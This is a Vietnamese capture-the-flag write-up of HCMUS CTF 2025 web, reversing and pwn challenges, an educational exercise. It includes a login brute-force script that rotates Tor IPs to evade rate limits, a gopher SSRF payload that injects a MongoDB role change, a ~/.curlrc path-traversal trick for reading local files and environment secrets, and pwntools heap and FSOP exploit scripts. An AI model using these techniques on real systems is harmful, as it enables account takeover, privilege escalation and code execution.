**UniverSea - HCMUS CTF 2025 Writeup** # Web ## Web/MAL Ở bài này flag được lưu trong secret ![image](https://hackmd.io/_uploads/H13vC8KIeg.png) Chúng ta có thể thấy là secret random được lưu trước và cache. ![image](https://hackmd.io/_uploads/HJaxkvKUgx.png) Có nghĩa là trên web UI nó hiện ra chỉ là secret cũ chứ không phải flag Trong file app/models/user.js, tại cấu hình Schema cho User, author đã set thuộc tính `usernameCaseInsensitive` thành true. Có nghĩa là database của challenge xử lý username không phân biệt hoa thường. ![image](https://hackmd.io/_uploads/BJuKkPYUge.png) Và hàm`const existed_user = await jakanUsers.users(username, 'full');` này cũng không phân biệt hoa thường. ![image](https://hackmd.io/_uploads/Bys9b_i8ex.png) Vậy chúng ta chỉ đơn giản là đổi username `Dat2Phit` thành `Dat2phit` là có thể bypass được cache. Điều quan trọng là chúng ta phải có mật khẩu của user `Dat2Phit`. Mà mật khẩu chỉ được khởi tạo bởi 5 chữ số từ 00000 -> 99999 cho nên ta có thể brute force được ![image](https://hackmd.io/_uploads/SJ6dXvKUge.png) Nhưng server lại rate limit chỉ cho phép 5 request mỗi phút. ![image](https://hackmd.io/_uploads/rkrcXvKUel.png) Mình dùng tor để đổi ip sau 5 req. Script như sau: script.py: ```python import requests import time from stem import Signal from stem.control import Controller import sys TARGET_URL = "<url_chall>/login" USERNAME = "Dat2Phit" TOR_SOCKS_PORT = 9050 TOR_CONTROL_PORT = 9051 tor_proxies = { 'http': f'socks5h://127.0.0.1:{TOR_SOCKS_PORT}', 'https': f'socks5h://127.0.0.1:{TOR_SOCKS_PORT}' } def renew_tor_ip(): try: with Controller.from_port(port=TOR_CONTROL_PORT) as controller: controller.authenticate() controller.signal(Signal.NEWNYM) print("[+] Đã gửi tín hiệu đổi IP mới tới Tor.") time.sleep(controller.get_newnym_wait()) except Exception as e: print(f"[!] Lỗi khi kết nối tới Tor Control Port: {e}") print("[!] Gợi ý: Hãy chắc chắn Tor đang chạy với file cấu hình `torrc` đúng.") sys.exit(1) print("[*] Bắt đầu brute-force...") renew_tor_ip() for i in range(100000): password = str(i).zfill(5) if i > 0 and i % 5 == 0: print("\n--- Đạt đến giới hạn 5 requests, đang đổi IP ---") renew_tor_ip() login_data = { "username": USERNAME, "password": password } try: response = requests.post( TARGET_URL, data=login_data, proxies=tor_proxies, timeout=15, allow_redirects=False ) if response.status_code != 302: with open('status_429.txt', 'a') as f: f.write(f'{password}\n') print(f"[*] Đang thử password: {password} qua Tor... | Status: {response.status_code}") if response.status_code == 302 and 'index' in response.text: print("\n" + "="*40) print(f"[!!!] THÀNH CÔNG! MẬT KHẨU LÀ: {password}") print(f"[*] Redirect đến: {response.headers['location']}") print(f"[*] Session cookie: {response.cookies.get_dict()}") print("="*40 + "\n") break except requests.exceptions.RequestException as e: print(f"[!] Lỗi request qua Tor: {e}") print("[!] Đang thử đổi IP và kết nối lại...") renew_tor_ip() ``` May thật :v !!! ![image](https://hackmd.io/_uploads/Ska1PPYUxe.png) Lụm flag: ![image](https://hackmd.io/_uploads/SJPzmvF8el.png) >`HCMUS-CTF{D1d_y0u_u53_B1n4ry_s34rcH?:v}` ## Web/BALD Ở bài này mục tiêu là lên được role `super_admin` ![image](https://hackmd.io/_uploads/Hy_hwLKUel.png) Tại đây có lỗ hổng SSRF ![image](https://hackmd.io/_uploads/SyjRpDt8el.png) Lỗ hổng SSRF với curl command kết hợp với mongo ->mình đã nảy ra trong khi dạo lướt hacktrick ![image](https://hackmd.io/_uploads/ByPtO8KLle.png) Chính là sử dụng gopher, có ý tưởng rồi thì triển thôi. Để tạo được payload gopher thì đầu tiên chúng ta cần bắt được gói tin bằng wireshark trước đã. ![image](https://hackmd.io/_uploads/B1xWYUt8xx.png) Step1: Tại container `mal-app` chúng ta sẽ bắt gói tin với command `apt-get update && apt-get install tcpdump` `tcpdump -i eth0 -w capture.pcap` ![image](https://hackmd.io/_uploads/BymwtLKIle.png) Step 2: mình sẽ sử dụng script gen sau để tạo 1 gói tin update user `Dat2Phit` lên role `super_admin` ```js const { MongoClient } = require('mongodb'); const readline = require('readline'); const uri = 'mongodb://mongo:27017/MAL'; const dbName = 'MAL'; const collectionName = 'users'; const query = { "username": "Dat2Phit" }; const updateData = { "$set": { "role": "super_admin" } }; const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); async function main() { const client = new MongoClient(uri); try { await client.connect(); console.log("Successfully connected to local MongoDB."); const database = client.db(dbName); const collection = database.collection(collectionName); console.log("Ready to capture packets on Wireshark..."); await new Promise(resolve => rl.question("Press Enter to send the update command to MongoDB...", resolve)); const result = await collection.updateOne(query, updateData); console.log(`Command sent! ${result.modifiedCount} document(s) updated.`); } catch (e) { console.error(e); } finally { await client.close(); rl.close(); } } main().catch(console.error); ``` ![image](https://hackmd.io/_uploads/Byl-qLYLel.png) Step 3: Tải file pcap về phân tích ![image](https://hackmd.io/_uploads/rkqmqLKUxe.png) ![image](https://hackmd.io/_uploads/S15E9UY8xe.png) ![image](https://hackmd.io/_uploads/BkWI98KUge.png) Ở trên thì ta có thể thấy gói tin mà ta cần chính là dòng màu đỏ thứ 2 (chứa lệnh update) Step 4: Chọn Show as Raw và copy đoạn hex đó ![image](https://hackmd.io/_uploads/ryrjc8FUxl.png) Step 5: Cuối cùng là gen payload gopher ```python hex_string = "c50000000400000000000000dd0700000000000000b0000000027570646174650006000000757365727300047570646174657300550000000330004d0000000371001c00000002757365726e616d65000900000044617432506869740000037500260000000324736574001b00000002726f6c65000c00000073757065725f61646d696e0000000000086f7264657265640001036c736964001e000000056964001000000004b0fbfd8eb4bf45a38d3e0ef0860e6ddf000224646200040000004d414c0000" hex_string = ''.join(c for c in hex_string if c in '0123456789abcdefABCDEF') encoded_payload = "".join([f"%{hex_string[i:i+2]}" for i in range(0, len(hex_string), 2)]) print("gopher://mongo:27017/_"+encoded_payload) ``` ![image](https://hackmd.io/_uploads/By01sItLgl.png) ### Exploit SSRF Step 1: lợi dụng lỗ hổng Mass Assignment để ghi đè lên mảng `data.favorites.anime`. Tạo ra một "favorites anime" giả với URL image là payload gopher ![image](https://hackmd.io/_uploads/HkwYaLF8ll.png) ``` POST /user/Dat2Phit/edit HTTP/1.1 Host: chall.blackpinker.com:32795 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 798 Origin: http://chall.blackpinker.com:32795 Connection: keep-alive Referer: http://chall.blackpinker.com:32795/user/Dat2Phit/edit Cookie: session=eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJEYXQyUGhpdCJ9fQ==; session.sig=PT8NZuTWC_4qKWLaOrXppHOybbg Upgrade-Insecure-Requests: 1 Priority: u=0, i secret=HCMUS-CTF{D1d_y0u_u53_B1n4ry_s34rcH?:v}&data[favorites][anime][0][mal_id]=1&data[favorites][anime][0][title]=SSRF_Attack&data[favorites][anime][0][images][webp][large_image_url]=gopher://mongo:27017/_%c5%00%00%00%04%00%00%00%00%00%00%00%dd%07%00%00%00%00%00%00%00%b0%00%00%00%02%75%70%64%61%74%65%00%06%00%00%00%75%73%65%72%73%00%04%75%70%64%61%74%65%73%00%55%00%00%00%03%30%00%4d%00%00%00%03%71%00%1c%00%00%00%02%75%73%65%72%6e%61%6d%65%00%09%00%00%00%44%61%74%32%50%68%69%74%00%00%03%75%00%26%00%00%00%03%24%73%65%74%00%1b%00%00%00%02%72%6f%6c%65%00%0c%00%00%00%73%75%70%65%72%5f%61%64%6d%69%6e%00%00%00%00%00%08%6f%72%64%65%72%65%64%00%01%03%6c%73%69%64%00%1e%00%00%00%05%69%64%00%10%00%00%00%04%b0%fb%fd%8e%b4%bf%45%a3%8d%3e%0e%f0%86%0e%6d%df%00%02%24%64%62%00%04%00%00%00%4d%41%4c%00%00 ``` ![image](https://hackmd.io/_uploads/rkBxggcLxl.png) Step 2: Truy cập `GET /user/Dat2PhIt/export` để kích hoạt curl Step 3: `GET /super_admin/flag` > `HCMUS-CTF{Priv3SC_Thr0uGh_G0ph3r_n1c3!}` ## Web/MALD Bài này là flag 2 nhưng mình lại giải ra sau cùng bởi vì blind SSRF không lấy flag ra được. Flag chỉ được trả về nếu ta là localhost ![image](https://hackmd.io/_uploads/S1Tnm15Lxx.png) Còn 1 chức năng mình chưa đụng tới là `POST /admin/archive/` Kết hợp với SSRF tại curl thì ý tưởng của mình sẽ là ghi ra 1 file config sử dụng option `--config` hay `-K` nhưng mà không được ![image](https://hackmd.io/_uploads/SkXTPyc8xl.png) Thì sau 1 hồi fuzz mình phát hiện tại đây có dính lổ hổng path traversal. ![image](https://hackmd.io/_uploads/rJymEJ5Ule.png) Vậy chúng ta có thể write file tùy ý. Trong khi mình tìm ý tưởng khác ngoài `-K`, `--config` thì phát hiện được trick mới lạ với chatgpt ![image](https://hackmd.io/_uploads/Sk7EOJ9Ilx.png) Vậy là tất cả đều sáng tỏ, giờ chúng ta sẽ write file `~/.curlrc` thay cho option `-K`,`--config` ![image](https://hackmd.io/_uploads/By2hlgcIxx.png) Write thành công ![image](https://hackmd.io/_uploads/ByQ1Zx5Uxl.png) Cuối cùng là access route `GET /user/DaT2PhIT/export` để cho lệnh curl chạy (nó sẽ tự động tìm và load file config `~/.curlrc` ) ![image](https://hackmd.io/_uploads/SkxuKy9Uxl.png) Done! > `HCMUS-CTF{Sh0uldnt_h4v3_1mpl3m3nt3d_1t}` Ngoài ra thì với cách này chúng ta có hết lấy hết tất cả flag của 3 bài luôn chỉ cần thay url `http://127.0.0.1/admin/flag` thành `file:///proc/1/environ` là được. Ảo thật đấy! ![image](https://hackmd.io/_uploads/rJi_j19Llx.png) # Reversing ## Reversing/Finesse Vào trang web thì thấy nó sử dụng `PDF.js` có nghĩa nó đã nhúng java script vào pdf. Ta sẽ tải file pdf xuống sau đó sủ dụng `pdf-parser` để extract mã ra. ``` pdf-parser main.pdf >> text.txt pdf-parser --search /JS main.pdf pdf-parser --object 7 --raw --filter main.pdf ``` ![image](https://hackmd.io/_uploads/B1B7CVqUgx.png) ```javascript= const a = 10; const b = 20; var c = { 0: ["RGB", 1.0, 1.0, 0.0], 1: ["RGB", 0.0, 1.0, 1.0], 2: ["RGB", 0.0, 1.0, 0.0], 3: ["RGB", 1.0, 0.0, 0.0], 4: ["RGB", 1.0, 0.5, 0.0], 5: ["RGB", 0.0, 0.0, 1.0], 6: ["RGB", 0.6, 0.0, 0.6] }; function d(e, f) { return app.setInterval("(" + e.toString() + ")();", f); } var g = Date.now() % 2147483647; function h() { return g = g * 16807 % 2147483647; } var i = [1, 2, 2, 2, 4, 4, 4]; var j = [0, 0, -1, 0, -1, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -2, 0, -1, 0, 1, 0, 0, 0, 0, 1, 0, -1, 0, -2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, -1, 0, -1, 1, 0, 0, 0, 0, 1, 1, 0, 1, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, -1, 1, -1, 0, 0, 1, 1, 1, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, -1, -1, 1, 0, 0, 0, 0, 1, 0, -1, 1, -1, 0, 0, -1, 0, 1, 0, 1, 1, 0, 0, -1, 1, 0, 1, 0, -1, 0, 0, -1, 0, 1, 0, 1, -1, 0, 0, 0, 1, 0, -1, 1, 1, 0, 0, -1, 1, -1, 0, 1, 0, 0, 0, 0, 1, 0, -1, -1, -1, 0, 0, -1, 0, 0, -1, 1, 0, 0, 0, 0, 1, 0, -1, 1, 0, 0, 0, -1, 0, 0, 1, 1, 0, 0, 0, -1, 0, 0, 1, 0, -1]; var k = 50; var l = 400; var m = []; var n = []; var o = 0; var p = 0; var q = 0; var r = 0; var s = []; var t = 0; var u = false; var v = false; var w = h() % 7; var x = 0; var y = 0; var z = 0; function aa() { w = h() % 7; x = 4; y = 0; z = 0; for (var ab = 0; ab < 4; ++ab) { var ac = j[w * 32 + z * 8 + ab * 2]; var ad = j[w * 32 + z * 8 + ab * 2 + 1]; var ae = x + ac; var af = y + ad; if (ae >= 0 && ae < a && af >= 0 && af < b) { if (n[ae][af] !== 0) { an(); return false; } } } return true; } function ag(ah) { this.getField("T_input").hidden = !ah; this.getField("B_left").hidden = !ah; this.getField("B_right").hidden = !ah; this.getField("B_down").hidden = !ah; this.getField("B_rotate").hidden = !ah; } function ai() { for (var aj = 0; aj < a; ++aj) { m[aj] = []; n[aj] = []; for (var ak = 0; ak < b; ++ak) { m[aj][ak] = this.getField(`P_${aj}_${ak}`); n[aj][ak] = 0; } } aa(); q = p; o = 0; u = true; r = d(cz, k); this.getField("B_start").hidden = true; ag(true); } function al() { var am = true; if (p - q >= l) { am = bv(); q = p; } return am; } function an() { u = false; app.clearInterval(r); for (var ao = 0; ao < a; ++ao) { for (var ap = 0; ap < b; ++ap) { m[ao][ap].fillColor = color.black; m[ao][ap].hidden = false; } } app.alert(`Game over! Score: ${o}\nRefresh to restart.`); } function aq(ar) { if (ar === 1) { return [ [0, 0], [1, 0], [-1, 0], [2, 0], [-2, 0], [0, -1], [1, -1], [-1, -1], [0, -2] ]; } else { return [ [0, 0], [1, 0], [-1, 0], [0, -1], [1, -1], [-1, -1], [0, -2] ]; } } function as() { if (!u) return; t += 1; var at = z; var au = (z + 1) % i[w]; var av = aq(w); for (var aw = 0; aw < av.length; aw++) { var ax = av[aw][0]; var ay = av[aw][1]; var az = true; for (var ba = 0; ba < 4; ++ba) { var bb = j[w * 32 + au * 8 + ba * 2]; var bc = j[w * 32 + au * 8 + ba * 2 + 1]; var bd = x + bb + ax; var be = y + bc + ay; if (bd < 0 || bd >= a || be < 0 || be >= b || n[bd][be] !== 0) { az = false; break; } } if (az) { z = au; x += ax; y += ay; return; } } } function bf() { if (!u) return; t += 2; x--; if (bh()) x++; } function bg() { if (!u) return; t += 3; x++; if (bh()) x--; } function bh() { for (var bi = 0; bi < 4; ++bi) { var bj = j[w * 32 + z * 8 + bi * 2]; var bk = j[w * 32 + z * 8 + bi * 2 + 1]; var bl = x + bj; var bm = y + bk; if (bl < 0 || bl >= a || n[bl][bm]) return true; } return false; } function bn(bo) { if (!u) return; switch (bo.change) { case 'w': as(); break; case 'a': bf(); break; case 'd': bg(); break; case 's': bv(); break; case ' ': cc(); break; } } function bp() { for (var bq = 0; bq < b; ++bq) { var br = true; for (var bs = 0; bs < a; ++bs) { if (n[bs][bq] === 0) { br = false; break; } } if (br) { o++; cj(); for (var bt = bq; bt > 0; --bt) { for (var bu = 0; bu < a; ++bu) { n[bu][bt] = n[bu][bt - 1]; } } for (var bu = 0; bu < a; ++bu) { n[bu][0] = 0; } bq--; } } } function bv() { var bw = false; y++; for (var bx = 0; bx < 4; ++bx) { var by = j[w * 32 + z * 8 + bx * 2]; var bz = j[w * 32 + z * 8 + bx * 2 + 1]; var ca = x + by; var cb = y + bz; if (ca < 0 || cb < 0 || ca >= a || cb >= b || n[ca][cb]) { bw = true; break; } } if (bw) { y--; for (var bx = 0; bx < 4; ++bx) { var by = j[w * 32 + z * 8 + bx * 2]; var bz = j[w * 32 + z * 8 + bx * 2 + 1]; var ca = x + by; var cb = y + bz; if (cb < 0) { an(); return false; } } for (var bx = 0; bx < 4; ++bx) { var by = j[w * 32 + z * 8 + bx * 2]; var bz = j[w * 32 + z * 8 + bx * 2 + 1]; var ca = x + by; var cb = y + bz; n[ca][cb] = w + 1; } bp(); s.push(t % 32); t = 0; da(); return aa(); } return true; } function cc() { while (true) { y++; var cd = false; for (var ce = 0; ce < 4; ++ce) { var cf = j[w * 32 + z * 8 + ce * 2]; var cg = j[w * 32 + z * 8 + ce * 2 + 1]; var ch = x + cf; var ci = y + cg; if (ch < 0 || ci < 0 || ch >= a || ci >= b || n[ch][ci]) { cd = true; break; } } if (cd) { y--; bv(); break; } } } function cj() { if (v) return; this.getField("T_score").value = `Score: ${o}`; } function ck(cl, cm, cn) { if (cl < 0 || cm < 0 || cl >= a || cm >= b) return; var co = m[cl][b - 1 - cm]; if (cn) { co.hidden = false; co.fillColor = c[cn - 1]; } else { co.hidden = true; co.fillColor = color.transparent; } } function cp() { for (var cq = 0; cq < a; ++cq) { for (var cr = 0; cr < b; ++cr) { ck(cq, cr, n[cq][cr]); } } } function cs() { for (var ct = 0; ct < 4; ++ct) { var cu = j[w * 32 + z * 8 + ct * 2]; var cv = j[w * 32 + z * 8 + ct * 2 + 1]; var cw = x + cu; var cx = y + cv; ck(cw, cx, w + 1); } } function cy() { cp(); cs(); } function cz() { if (!u) return; p += k; if (al()) cy(); } function da() { var db = s.length - 1; for (var dc = 0; dc < 129; dc++) { var dd = parseInt(this.getField(`M_${dc}`).value); var de = parseInt(this.getField(`M_${dc}_${db}`).value); this.getField(`M_${dc}`).value = dd + de * s[db]; } if (db == 128) { for (var dc = 0; dc < 129; dc++) { if (this.getField(`M_${dc}`).value != this.getField(`G_${dc}`).value) { s = []; return; } } df(); } } function df() { u = false; v = true; var dg = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"; var dh = ""; for (var di = 0; di < s.length / 3; di++) { dh += dg[s[3 * di] + s[3 * di + 1] + s[3 * di + 2]]; } app.alert(`${dh}`); } ag(false); app.execMenuItem("FitPage"); ``` Ta thấy flag sẽ in ra khi `M_` bằng với `G_` và trước đó nó biến đổi qua `s`. ![image](https://hackmd.io/_uploads/SJKxkrqIle.png) Ta có thể tìm lại `s` và in ra flag như sau. ```py= import re data = open("text.txt", "r").read() data = data.split("\n") G = [] index = 0 for i in range(len(data)): if f"/T (G_{index})" in data[i]: p = re.compile(r"(\d+)") match = p.search(data[i+1]) if match: G.append(int(match.group(1))) index += 1 if index == 129: break # print(G[0:129]) M1 = [] index = 0 for i in range(len(data)): if f"/T (M_{index})" in data[i]: p = re.compile(r"(\d+)") match = p.search(data[i+1]) if match: M1.append(int(match.group(1))) index += 1 if index == 129: break # print(M1[0:129]) M = [[0 for _ in range(129)] for _ in range(129)] index_i = 0 index_j = 0 for i in range(len(data)): if f"/T (M_{index_i}_{index_j})" in data[i]: p = re.compile(r"(\d+)") match = p.search(data[i+1]) if match: M[index_i][index_j] = int(match.group(1)) index_j += 1 if index_j == 129: index_j = 0 index_i += 1 if index_i == 129: break import numpy as np b = np.array([G[i] - M1[i] for i in range(129)]) A = np.array(M) s = np.linalg.solve(A, b) s = np.round(s).astype(int) s = s.tolist() dg = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~" flag = "" for i in range(len(s) // 3): flag += dg[s[3 * i] + s[3 * i + 1] + s[3 * i + 2]] print(flag) # HCMUS-CTF{w0w_u_r3a11y_r_4_T4Tr15_g0d_huh?} ``` ## Reversing/Hide and Seek Ta sẽ debug và patch 0xe9 thành nop. Ta debug thì thấy nó bị một exception và sẽ nhảy đến handler để xử lý. ![image](https://hackmd.io/_uploads/ryo_-rqIgl.png) Tại đây nó sẽ read input. Và input sẽ được swap thông qua key (0x13371337) ![image](https://hackmd.io/_uploads/SygezS9Ixe.png) Sau đó nó sẽ mở file và ghi đè key và thực thi. ![image](https://hackmd.io/_uploads/B1nvfScUxe.png) ![image](https://hackmd.io/_uploads/HJFpMB58gg.png) ![image](https://hackmd.io/_uploads/BkcRfSqUex.png) Sau mỗi lần chạy thì index sẽ tăng lên và input sẽ xor với key. Sau đó key tiếp tục được biến đổi. ![image](https://hackmd.io/_uploads/HylGXr9Iex.png) Ta có thể giải mã lại như sau. ```py= def calc(x): x = 0x3C6EF35F + (1664525 * x) & 0xFFFFFFFF return x & 0xFFFFFFFF ct = b'1234567890123456789012345678901234567890123456' ct = list(ct) list_key = [] key = 0x13371337 for i in range(45, 0, -1): key = calc(key) v7 = key % (i + 1) list_key.append((i, v7)) ct[i], ct[v7] = ct[v7], ct[i] ct = [0x72, 0xC3, 0x6B, 0x0C, 0xCF, 0x65, 0xED, 0xBA, 0x18, 0xCA, 0x8F, 0x99, 0xE6, 0x8A, 0x7F, 0xA6, 0xE4, 0x44, 0x4C, 0x14, 0x5B, 0x9E, 0x73, 0xD3, 0x61, 0xEB, 0x44, 0x82, 0x0D, 0xC4, 0x07, 0xC7, 0xE5, 0x82, 0xE5, 0xB7, 0x0A, 0x39, 0x4C, 0xD2, 0x51, 0x53, 0x05, 0x50, 0x12, 0x6C, 0x00, 0x2F, 0x70, 0x72, 0x6F, 0x63, 0x2F, 0x73, 0x65, 0x6C, 0x66, 0x2F, 0x65, 0x78, 0x65] key = 0x1ACC7706 for i in range(0, len(ct)): ct[i] ^= key & 0xFF key = (0x3C6EF35F + (0x19660D * key) & 0xFFFFFFFF) & 0xFFFFFFFF for i in reversed(range(len(list_key))): j, v7 = list_key[i] ct[j], ct[v7] = ct[v7], ct[j] print(bytes(ct)) # HCMUS-CTF{d1d_y0u_kn0vv_y0u12_O5_c4n_d0_th1s?} ``` # Pwn ## challenge cses như mô tả của challenge thì ta có: - "!" submit câu trả lời - "?" query bit - khi reverse lại challenge thì ta có buffer overflow ![image](https://hackmd.io/_uploads/Hk56hPc8ge.png) - vì biến query nằm trên array có chứa 100 giá trị được shuffle random - tên ta có thể overflow, theo đó thì có thể skip 14 số ko cần đoán giá trị ![image](https://hackmd.io/_uploads/BJ4N6w5Ull.png) - ngoài ra khi query còn thấy được rằng ![image](https://hackmd.io/_uploads/SyHYTDqUll.png) - các giá trị khi query được lấy từ arr làm index không được check bound nên ta có thể sử dụng để đọc các giá trị ngoài phạm vi, vì vậy ta có thể đọc được lên tới 84 số trong 6 lần lặp, cộng với 14 số cố định tổng cộng có 98 số còn 2 số còn lại có thể bruteforce, mà nó lâu ...... ```python #!/usr/bin/env python3 from pwn import * # Set the context for the binary context.binary = '/home/as/ctf/hcmus/cses/chall' context.terminal = ["alacritty", "-e"] import warnings warnings.filterwarnings("ignore") import random def generate_random_notin_list(excluded_numbers, start, end): excluded_set = set(excluded_numbers) if end - start + 1 <= len(excluded_set): possible_numbers = set(range(start, end + 1)) valid_numbers = list(possible_numbers - excluded_set) if not valid_numbers: return None return random.choice(valid_numbers) while True: random_number = random.randint(start, end) if random_number not in excluded_set: return random_number def solve(): # while True: # p = process("nc chall.blackpinker.com 33636".split()) while True: p = process() # p = process("nc chall.blackpinker.com 33883".split()) try: try: n_str = p.recvline().strip().decode() n = int(n_str) log.info(f"Permutation size n = {n}") except (ValueError, IndexError): log.error("Failed to receive n. Exiting.") # return # num_bits = (n - 14).bit_length() if n > 0 else 0 # print(f"{num_bits = }") data = [] tmp = b"" for i in range(6): b_str = b"1"* 100+ p32(0) + p64(0) * 3 patched = b"" for k in range(14): patched = patched +p32((0xb8 + i * (14 * 4)) + k * 4 + 1) tmp = patched b_str = b_str + patched b_str = b_str[:-1] print(f"{len(b_str) = }") # input("-> ") p.sendline(b"? " + b_str) c_str = p.recvline().strip().decode() buffer = c_str chunk_size = 1 chunks = [u8(buffer[i:i + chunk_size]) for i in range(0, len(buffer), chunk_size)] for i in range(14): data.append(chunks[i]) print(f"{c_str = }") # gdb.attach(p, gdbscript=""" # idasync start # """) print(f"{len(data) = }") # print(data) buffer = tmp chunk_size = 4 chunk_tmp = [u32(buffer[i:i + chunk_size]) for i in range(0, len(buffer), chunk_size)] # input("final ->") range_start = 1 range_end = 100 data.append(generate_random_notin_list(data, range_start, range_end)) data.append(generate_random_notin_list(data, range_start, range_end)) p.sendline(b"!") for item in chunk_tmp: p.sendline(str(item).encode()) for item in data: p.sendline(str(item).encode()) print(f"{len(data) = }") # print(data) # p.sendline(b"6") # p.sendline(b"70") # for i in range(len(data)): # send_str += data[i] # # c_str = tmp + b"\n".join(data) # p.sendline(b"! ") # print(c_str) # try: # p.interactive() try: p.recvuntil("Wrong answer") p.close() except: # p.recuntil("Congratulations! Here's your flag:") p.interactive() # break except: p.close() pass # try: # p.recvuntil("Congratulations! Here's your flag:") # p.interactive() # break # except: # p.close() # pass if __name__ == "__main__": solve() ``` ## challenge animal ```python void introduce() { std::string name; std::cout << "Hello, what's your name? > "; getline(std::cin, name); std::cout << "Hi, " << name << ". Have fun today!" << std::endl; } ``` bài sử dụng getline để nhận buffer, tuy nhiên chủ yếu fuzzing ra nhanh, khi nhập buffer quá lớn và sau khi chọn option -4 thì chương trình crash ![image](https://hackmd.io/_uploads/HJzB7dc8le.png) khi backtrace ta thấy được các parameter của hàm output hiện ra, thay s = địa chỉ flag và n = size là có thể leak flag, vì bài compile -no-pie nên địa chỉ bss không random tuy nhiên có thể do overwrite ngẫu nhiên trên structure của hàm output nên phải thử nhiều lần sẽ ra flag ## challenge dragon ball về cơ bản thì challenge có bug đó là uaf ![image](https://hackmd.io/_uploads/SkYxS_q8eg.png) khi vào hàm này nếu tồn tại obj của player đã init thì nó sẽ auto call hàm destruct nếu ta chọn 1 class khác (obj = namek, server = earth) kèm theo đó là player hiện tại bị trừ gold - tuy nhiên nếu hết gold thì nó return ngay sau khi destruct ```c void __fastcall earth_destruct(player *obj) { if ( obj->SKILL ) free(obj->SKILL); } ``` Thì SKILL element trong obj đó bị free mà không xóa dẫn tới UAF Tiếp theo đó ta tiến hành sử dụng cái này để khai thác kết hợp với hàm broadcast_message và sẽ có thể sử dụng pointer để leak và khai thác heap ![image](https://hackmd.io/_uploads/B13WP_9Llx.png) overwrite special_name để leak dữ liệu ![image](https://hackmd.io/_uploads/SkjAvd5Ill.png) thì khi ta dùng broadcast_message với length xác định là có thể sử dụng lại pointer đã bị free trước đó, sau đó control structure đó là phần leak về phần rce thì ta có thể sử dụng double free fastbin vì pointer fastbin có thể bypass double free khi free 1 chunk giữa, như trước đó ta có chiếc dangling pointer, ta có thể dùng nó luôn, thì ta tạo message đầu tiên là chiếc dangling pointer theo code thì ![image](https://hackmd.io/_uploads/HJSHK_cIll.png) hàm free free từ head xuống tail, tuy nhiên message cuối cùng được tạo sẽ là head và message về sau là message được tạo từ lúc đầu tiên ![image](https://hackmd.io/_uploads/BkLstOcIge.png) vì vậy thuận lợi hơn cho việc tạo double free (mọi thứ trong script) rce có thể overwrite stdout dùng fsop để rce ```python #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore") exe = ELF("./chall") libc = ELF("./libc.so.6") # context.log_level='debug' # p = remote("addr", 1337) p = process([exe.path]) # p = process("nc chall.blackpinker.com 33394".split()) # p = process("nc 127.0.0.1 12132".split()) context.arch = "amd64" script=""" idasync start define check tel &message_list_head end define checkpl tel &currentPlayer end b*0x7ffff7c8ca9b """ def GDB(): context.terminal = ["alacritty", "-e"] gdb.attach(p, gdbscript=script) # input("enter to continue-> ") # p = gdb.debug([exe.path], gdbscript=script) # return p sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) def signup(server): sla("choice:", str(1)) sla("choice:", str(server)) def fight(enemy, skill): sla("choice:", str(6)) sla("ose enemy type (1-5):", str(enemy)) sla("skill sequence (1=melee, 2=blast, 3=special):", skill) def message(data): sla("choice:", str(7)) sla("o 1023 bytes):", data) def free_message(): sla("choice:", str(9)) def update(kind, amount): sla("choice:", str(3)) sla("choice:", str(kind)) sla('ter amount:', str(amount)) def upgrade_special(): sla("choice:", str(4)) def set_class(num): sla("choice:", str(5)) sla("choice:", str(num)) def view_message(): sla("choice:", str(8)) def view_player(): sla("choice:", str(2)) def protect(ptr1,ptr2): return ptr1^(ptr2>>12) signup(2) # for i in range(6): # message(b"a" * (0x30 - 1 - 8 - 1)) set_class(1) set_class(3) set_class(1) set_class(3) set_class(1) set_class(3) fight(1, "121212232112313212312313212122221231231321") message(b"a" * (0x30 - 1 - 8 - 1)) signup(3) # set_class(3) view_message() p.recvuntil("om [") p.recvuntil(": ") addr = u64(p.recvuntil("\n", drop=True).ljust(8, b"\0")) exe.address = addr - 0x4512 print(f"{hex(exe.address) = }") free_message() # fight(1, "1223121222222121212121") payload = p64(exe.sym.stdout) message(payload.ljust((0x30 - 1 - 8 - 1), b"\0")) view_player() p.recvuntil("Special: ") addr = u64(p.recvuntil(" [L", drop=True).ljust(8, b"\0")) libc.address = addr - 0x2045c0 print(f"{hex(libc.address) = }") free_message() payload = p64(exe.sym.message_list_head) message(payload.ljust((0x30 - 1 - 8 - 1), b"\0")) view_player() p.recvuntil("Special: ") addr = u64(p.recvuntil(" [L", drop=True).ljust(8, b"\0")) heap = addr - 0x330 print(f"{hex(heap) = }") signup(1) # for i in range(7): message(b"a" * (0x30 - 1 - 8 - 1)) set_class(3) set_class(1) set_class(3) set_class(1) set_class(3) message(b"a" * (0x30 - 1 - 8 - 1)) signup(1) for i in range(7): message(b"a" * (0x30 - 1 - 8 - 1)) signup(1) free_message() for i in range(7): message(b"a" * (0x30 - 1 - 8 - 1)) ptr = heap + 0x370 payload = p64(protect(exe.sym.stdout, ptr)) message(payload.ljust((0x30 - 1 - 8 - 1), b"\0")) message(b"".ljust((0x30 - 1 - 8 - 1), b"\0")) message(b"".ljust((0x30 - 1 - 8 - 1), b"\0")) # for i in range(10): # for i in range(10): fight(1, "121212121212121212121232132132123132123") # 